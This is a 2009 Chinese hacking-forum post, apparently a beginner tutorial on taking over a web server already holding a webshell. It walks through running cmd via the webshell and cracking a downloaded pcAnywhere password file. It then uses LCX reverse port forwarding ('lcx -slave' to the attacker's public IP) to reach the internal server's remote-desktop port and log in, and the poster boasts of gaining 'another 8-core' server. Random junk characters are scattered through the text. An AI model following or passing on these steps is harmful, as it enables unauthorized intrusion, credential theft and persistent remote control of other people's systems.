|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
' M, |! a3 Y) Y
! \! |% b) M& M* x6 h' t提权方法：pcanywhere+LCX
! v2 x3 d, |# w3 {1 ^( g0 c
3 h$ p* U' W1 V+ j1 [6 {获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
& O1 I& ]' e1 W* p1 S* b
0 T7 t, A! u0 d4 _在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
( R2 X$ B5 n) P& C# _$ p% q( j6 k0 y. T- Y; B i2 l) v
* H+ @# x: B% h, V& C8 C
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。6 j/ w0 c) W8 t+ k, h4 t( ^
" w5 T( J8 U5 L8 N& d: G6 a# k
8 {8 I1 w4 `, F
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
' A; m) t8 D# j! K: v: ]$ F- D' w* k. z1 ? Q7 T! e
: v$ l$ e: W( b9 K* p4 P& Q Z$ K( } q6 g
# t7 s+ \6 {+ E$ \
2 M9 {. a! A2 Q5 V7 N7 C" b0 N由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``4 |- V: U% ?( ]7 G$ j8 ?) m
* B& w3 C# W) S8 \+ v
8 ]" M& c, Y v7 JLCX的用法再简单说下：4 ^$ g; o0 |7 y2 y
4 V* C) L+ b) U; ?服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
8 c! D) z9 T5 _/ O" |! K l
?0 D( X1 m& ]" }8 H* m本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
$ ^$ O1 B! m I# Z' n0 M5 P* \ g2 A, f( a$ u8 L
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。8 _: ]# z9 H+ j! b/ ^ r
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``
7 r3 I( o' E9 q! S/ ^) P. Y) n9 f a: a7 Q C) Z) | p
$ M- |2 I% a9 g* j, l+ a7 C1 [* A L
/ u6 c& H0 @' w' q. O5 `呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
) E% K" p. h. W3 o# z' O
' |' o9 U/ Y6 V& v! ]* ^! G" e; K" r) ]( Q# ~ Z
0 ]& B2 `& O3 x& H4 v( J* ?. h! i8 F* @2 P- f! d# [, S \) p+ _
我们本地连接试试，输入我们刚破解的账号密码
/ l' Z- v/ a0 S( u# e6 T. Y1 }$ G8 T- Q+ c% B4 r
, w+ A% Y/ s- M9 O7 ?9 m呵呵``连接成功,服务器不错，又一个8核^︵^
: x# f6 M+ }7 |: r- z
0 U- ]& l' I, y4 h& v: p' u/ s1 H- d
2 ^! m- r' s5 C6 G7 a0 g5 V" N1 o1 e& @6 v$ L
|
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
